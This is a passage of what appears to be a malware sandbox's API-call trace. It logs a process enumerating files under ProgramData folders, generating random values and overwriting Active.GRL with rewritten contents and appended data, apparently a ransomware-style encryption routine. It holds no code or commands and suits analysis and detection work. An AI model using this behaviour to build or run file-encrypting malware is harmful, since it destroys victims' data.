(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee038) returned 1 [0072.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e110) returned 1 [0072.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0072.787] RtlExitUserThread (Status=0x0) Thread: id = 530 os_tid = 0x1078 [0072.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347dbd0 [0072.344] wcscpy (in: _Dest=0x347dbd0, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0072.344] wcscat (in: _Dest=0x347dbd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0072.344] wcscat (in: _Dest=0x347dbd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*" [0072.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ef110 [0072.345] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433e68 [0072.345] wcscmp (_String1=".", _String2=".") returned 0 [0072.345] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.345] wcscmp (_String1="..", _String2=".") returned 1 [0072.345] wcscmp (_String1="..", _String2="..") returned 0 [0072.345] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576f6993, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1 [0072.345] wcscmp (_String1="edb.chk", _String2=".") returned 1 [0072.345] wcscmp (_String1="edb.chk", _String2="..") returned 1 [0072.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0072.345] wcscpy (in: _Dest=0x3479b50, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0072.345] wcscat (in: _Dest=0x3479b50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0072.345] wcscat (in: _Dest=0x3479b50, _Source="edb.chk" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk" [0072.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8 [0072.770] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e26fff, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576f6993, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1 [0072.770] wcscmp (_String1="edb.log", _String2=".") returned 1 [0072.770] wcscmp (_String1="edb.log", _String2="..") returned 1 [0072.770] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0072.770] wcscpy (in: _Dest=0x3479970, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0072.770] wcscat (in: _Dest=0x3479970, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0072.770] wcscat (in: _Dest=0x3479970, _Source="edb.log" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log" [0072.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0072.771] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e4d293, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5e734dc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0072.771] wcscmp (_String1="edbres00001.jrs", _String2=".") returned 1 [0072.771] wcscmp (_String1="edbres00001.jrs", _String2="..") returned 1 [0072.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x33c3a58 [0072.771] wcscpy (in: _Dest=0x33c3a58, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0072.771] wcscat (in: _Dest=0x33c3a58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0072.771] wcscat (in: _Dest=0x33c3a58, _Source="edbres00001.jrs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs" [0072.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c3a58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430 [0072.772] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5e734dc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0072.772] wcscmp (_String1="edbres00002.jrs", _String2=".") returned 1 [0072.772] wcscmp (_String1="edbres00002.jrs", _String2="..") returned 1 [0072.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x33c9d00 [0072.772] wcscpy (in: _Dest=0x33c9d00, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0072.772] wcscat (in: _Dest=0x33c9d00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0072.772] wcscat (in: _Dest=0x33c9d00, _Source="edbres00002.jrs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00002.jrs" [0072.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c9d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c [0072.773] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc63d09b3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbtmp.log", cAlternateFileName="")) returned 1 [0072.773] wcscmp (_String1="edbtmp.log", _String2=".") returned 1 [0072.773] wcscmp (_String1="edbtmp.log", _String2="..") returned 1 [0072.773] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33cca70 [0072.773] wcscpy (in: _Dest=0x33cca70, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0072.773] wcscat (in: _Dest=0x33cca70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0072.773] wcscat (in: _Dest=0x33cca70, _Source="edbtmp.log" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log" [0072.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cca70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0072.774] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5e99732, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e99732, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6d37f7ef, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr.db", cAlternateFileName="")) returned 1 [0072.774] wcscmp (_String1="qmgr.db", _String2=".") returned 1 [0072.774] wcscmp (_String1="qmgr.db", _String2="..") returned 1 [0072.774] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0072.774] wcscpy (in: _Dest=0x3479f10, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0072.774] wcscat (in: _Dest=0x3479f10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0072.774] wcscat (in: _Dest=0x3479f10, _Source="qmgr.db" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db" [0072.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0072.775] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576d0867, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr.jfm", cAlternateFileName="")) returned 1 [0072.775] wcscmp (_String1="qmgr.jfm", _String2=".") returned 1 [0072.775] wcscmp (_String1="qmgr.jfm", _String2="..") returned 1 [0072.775] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33ccf70 [0072.775] wcscpy (in: _Dest=0x33ccf70, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0072.775] wcscat (in: _Dest=0x33ccf70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0072.775] wcscat (in: _Dest=0x33ccf70, _Source="qmgr.jfm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.jfm") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.jfm" [0072.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0072.776] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x33ef110 | out: lpFindFileData=0x33ef110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576d0867, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr.jfm", cAlternateFileName="")) returned 0 [0072.776] FindClose (in: hFindFile=0x3433e68 | out: hFindFile=0x3433e68) returned 1 [0072.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef110) returned 1 [0072.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dbd0) returned 1 [0072.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426b20) returned 1 [0072.776] RtlExitUserThread (Status=0x0) Thread: id = 531 os_tid = 0x10e8 [0072.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccd70 [0072.346] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" [0072.346] wcscat (in: _Dest=0x33ccd70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\" [0072.346] wcscat (in: _Dest=0x33ccd70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*" [0072.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ec828 [0072.346] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ea8 [0072.346] wcscmp (_String1=".", _String2=".") returned 0 [0072.346] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.346] wcscmp (_String1="..", _String2=".") returned 1 [0072.347] wcscmp (_String1="..", _String2="..") returned 0 [0072.347] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x33ec828 | out: lpFindFileData=0x33ec828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0072.347] FindClose (in: hFindFile=0x3433ea8 | out: hFindFile=0x3433ea8) returned 1 [0072.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ec828) returned 1 [0072.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0072.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cce70) returned 1 [0072.347] RtlExitUserThread (Status=0x0) Thread: id = 532 os_tid = 0x10ec [0072.348] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl")) returned 0x20 [0072.348] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL", dwFileAttributes=0x20) returned 1 [0072.349] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0072.349] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x157bfba4 | out: lpFileSize=0x157bfba4*=14972) returned 1 [0072.349] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x3a78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.349] ReadFile (in: hFile=0x328, lpBuffer=0x157bfb78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x157bfb74, lpOverlapped=0x0 | out: lpBuffer=0x157bfb78*, lpNumberOfBytesRead=0x157bfb74*=0x4, lpOverlapped=0x0) returned 1 [0072.373] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.373] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea50 [0072.373] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8e8 [0072.374] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e898 [0072.374] NtQuerySystemTime (in: CurrentTime=0x157bfb50 | out: CurrentTime=0x157bfb50*=132121176302745705) returned 0x0 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x55a4576d [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x3e964ea0 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0xcbdb7df1 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x3a720e2c [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0xe62160d3 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0xfd217363 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0xd9fba659 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x1a96b9db [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x10dfb65a [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0xf6168edd [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0xba7c8ae1 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x6ab96e46 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x5ef80401 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x2d7b11ce [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x2f72088 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x37331fe4 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0xdf4db067 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0xd629339f [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x34a365a8 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x21c9e07a [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0xab6ac59 [0072.374] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x3053dff7 [0072.375] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0xf617362b [0072.375] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x926208ff [0072.375] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x98f8b9e2 [0072.375] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0xd5baf11a [0072.375] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x7ca516ff [0072.375] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x9276b76 [0072.375] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0xcbd3e208 [0072.375] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x15f1b5f9 [0072.375] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x7bef1282 [0072.375] RtlRandom (in: Seed=0x157bfb5c | out: Seed=0x157bfb5c) returned 0x61fcd511 [0072.389] ReadFile (in: hFile=0x328, lpBuffer=0x3475830, nNumberOfBytesToRead=0x3a7c, lpNumberOfBytesRead=0x157bfb50, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x157bfb50*=0x3a7c, lpOverlapped=0x0) returned 1 [0072.398] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x157bfb18 | out: lpNewFilePointer=0x0) returned 1 [0072.398] WriteFile (in: hFile=0x328, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x3a7c, lpNumberOfBytesWritten=0x157bfb4c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x157bfb4c*=0x3a7c, lpOverlapped=0x0) returned 1 [0072.398] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea50 [0072.398] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0072.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0072.398] WriteFile (in: hFile=0x328, lpBuffer=0x341ea50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x157bfb48, lpOverlapped=0x0 | out: lpBuffer=0x341ea50*, lpNumberOfBytesWritten=0x157bfb48*=0x20, lpOverlapped=0x0) returned 1 [0072.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea50) returned 1 [0072.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.399] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0072.399] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0072.399] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd0d0) returned 1 [0072.399] WriteFile (in: hFile=0x328, lpBuffer=0x341e6b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x157bfb74, lpOverlapped=0x0 | out: lpBuffer=0x341e6b8*, lpNumberOfBytesWritten=0x157bfb74*=0x8, lpOverlapped=0x0) returned 1 [0072.399] WriteFile (in: hFile=0x328, lpBuffer=0x157bfb8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x157bfb74, lpOverlapped=0x0 | out: lpBuffer=0x157bfb8c*, lpNumberOfBytesWritten=0x157bfb74*=0x4, lpOverlapped=0x0) returned 1 [0072.399] WriteFile (in: hFile=0x328, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x157bfb74, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x157bfb74*=0x4, lpOverlapped=0x0) returned 1 [0072.399] WriteFile (in: hFile=0x328, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x157bfb74, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x157bfb74*=0x6c, lpOverlapped=0x0) returned 1 [0072.400] WriteFile (in: hFile=0x328, lpBuffer=0x341e8e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x157bfb74, lpOverlapped=0x0 | out: lpBuffer=0x341e8e8*, lpNumberOfBytesWritten=0x157bfb74*=0x20, lpOverlapped=0x0) returned 1 [0072.400] WriteFile (in: hFile=0x328, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x157bfb74, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x157bfb74*=0x4, lpOverlapped=0x0) returned 1 [0072.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8e8) returned 1 [0072.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e6b8) returned 1 [0072.400] CloseHandle 